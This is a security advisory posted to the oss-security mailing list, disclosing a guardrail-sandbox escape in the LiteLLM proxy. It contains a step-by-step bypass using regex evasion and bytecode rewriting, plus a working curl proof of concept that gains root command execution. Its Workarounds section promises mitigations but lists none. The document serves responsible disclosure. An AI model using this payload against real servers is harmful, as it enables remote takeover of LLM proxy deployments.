|
|
Message-ID: <c8e0642f-cf20-4310-84d0-da223e5b16ed@x41-dsec.de>
Date: Thu, 9 Apr 2026 00:51:06 +0200
From: Markus Vervier <markus.vervier@...-dsec.de>
To: oss-security@...ts.openwall.com
Subject: X41 Advisory X41-2026-001: Guardrail Sandbox Escape in LiteLLM
X41 D-Sec GmbH Security Advisory: X41-2026-001
Guardrail Sandbox Escape in LiteLLM
======================
Severity Rating: High
Confirmed Affected Versions: main-latest (docker image
ghcr.io/berriai/litellm:main-latest, repo digest
ghcr.io/berriai/litellm@...256:bb0639701796218a3447160e55c0f1097446e4e6085df7dfd39f476d4143743f)
Confirmed Patched Versions: N/A
Vendor: BerriAI
Vendor URL: https://github.com/BerriAI/litellm
Vendor Reference: N/A
Vector: Authenticated HTTP API request
Credit: X41 D-Sec GmbH, Markus Vervier
Status: Public
CVE: N/A
CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
CVSS Score: 8.7
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Advisory URL: <https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/>
Summary and Impact
==================
The LiteLLM proxy exposes a /guardrails/test_custom_code API endpoint
that allows authenticated users to submit arbitrary Python code for
guardrail testing. The endpoint attempts to restrict dangerous
operations using regex-based source code filtering but this can be
bypassed using bytecode rewriting techniques to achieve arbitrary code
execution on the server.
An authenticated attacker can exploit this vulnerability to execute
arbitrary commands as the user the LiteLLM process runs as (root in the
default Docker image).
Product Description
===================
LiteLLM is an open-source LLM proxy that provides a unified
OpenAI-compatible API for over 100 LLM providers. It supports features
such as load balancing, cost tracking, rate limiting, and guardrails for
input/output filtering. The guardrails feature allows administrators to
define custom Python code that is executed to filter or transform LLM
requests and responses.
Analysis
========
The /guardrails/test_custom_code endpoint accepts a JSON body containing
a custom_code field with Python source code and a test_input field. The
server executes the provided Python function in a restricted environment
that uses regex-based filtering to block access to dangerous attributes
and built-in functions. However, this filtering operates only on the
source code level and can be bypassed through a combination of string
concatenation and CPython bytecode manipulation techniques.
The bypass works in 6 steps:
Step 1 — Regex bypass via string concatenation: Blocked attribute names
such as __globals__, __builtins__, and __import__ are constructed at
runtime using string concatenation (e.g. "_"+"_gl"+"ob"+"als"+"_"+"_").
Since the regex filter matches literal strings in the source code, the
concatenated form is not detected.
Step 2 — Obtain the object class: The object base class is obtained via
str.mro()[1] instead of using __class__, which is blocked by the filter.
Step 3 — Access generator code object: A generator function is defined
and its code object is accessed via the gi_code attribute, which is not
blocked. The code.replace(co_names=...) method is then used to rewrite
the bytecode's name table, changing which attributes the bytecode will
access at runtime.
Step 4 — Swap function code: object.__setattr__() is used to replace the
generator function's __code__ attribute with the rewritten code object.
The __code__ attribute name is constructed dynamically to avoid the
regex filter.
Step 5 — Extract real builtins: The modified generator function is
called with http_get (a function available in the sandbox environment)
as argument. The rewritten bytecode accesses
http_get.__globals__["__builtins__"]["__import__"], extracting the real
__import__ function from the unrestricted builtins.
Step 6 — Achieve RCE: With access to __import__, the attacker imports os
and executes arbitrary commands: __import__("os").popen("id").read()
returns uid=0(root) in the default Docker deployment.
Proof of Concept
================
The following sets up a vulnerable test environment:
docker run -d --name litellm -p 4000:4000 -e
LITELLM_MASTER_KEY=sk-litellm-master-key ghcr.io/berriai/litellm:main-latest
The following curl command triggers the sandbox escape and executes the
id command on the server:
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data,
input_type):\n obj = str.mro()[1]\n def g(fn):\n yield
fn.placeholder\n c = g(None).gi_code\n gn =
\"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn =
\"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn,
c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n
break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n
imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\":
imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
The server responds with the output of the id command, confirming code
execution as root:
{"success":true,"result":{"rce":"uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
Workarounds
===========
No vendor patch is available at the time of publication. Users could
apply the following mitigations:
Timeline
========
2026-02-13 Issue identified, PoC created
2026-02-18 LiteLLM acknowledged, giving an initial ETA for fix: by the
end of next week
2026-03-20 Follow-up sent for patch status and disclosure coordination
2026-03-24 Urgent follow-up sent, delivery failure received for
technical contact's email
2026-03-25 Looped in distros mailing list and additional contacts at berry
2026-03-26 Berry acknowledged the report receipt again
2026-04-06 Berry acknowledged the report again and asked to submit via
their GitHub security reporting page
2026-04-07 X41 and distros clarified the embargo runs out on 2026-04-08
2026-04-08 Distros maximum embargo expired, publication
About X41 D-Sec GmbH
====================
X41 is an expert provider for application security services.
Having extensive industry experience and expertise in the area of
information
security, a strong core security team of world class security experts
enables
X41 to perform premium security services.
Fields of expertise in the area of application security are security
centered
code reviews, binary reverse engineering and vulnerability discovery.
Custom research and IT security consulting and support services are core
competencies of X41.
View attachment "x41-2026-001-litellm.txt.asc" of type "text/plain" (7559 bytes)
Download attachment "OpenPGP_0x5C5642C317AD0166.asc" of type "application/pgp-keys" (5614 bytes)
Download attachment "OpenPGP_signature.asc" of type "application/pgp-signature" (841 bytes)
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.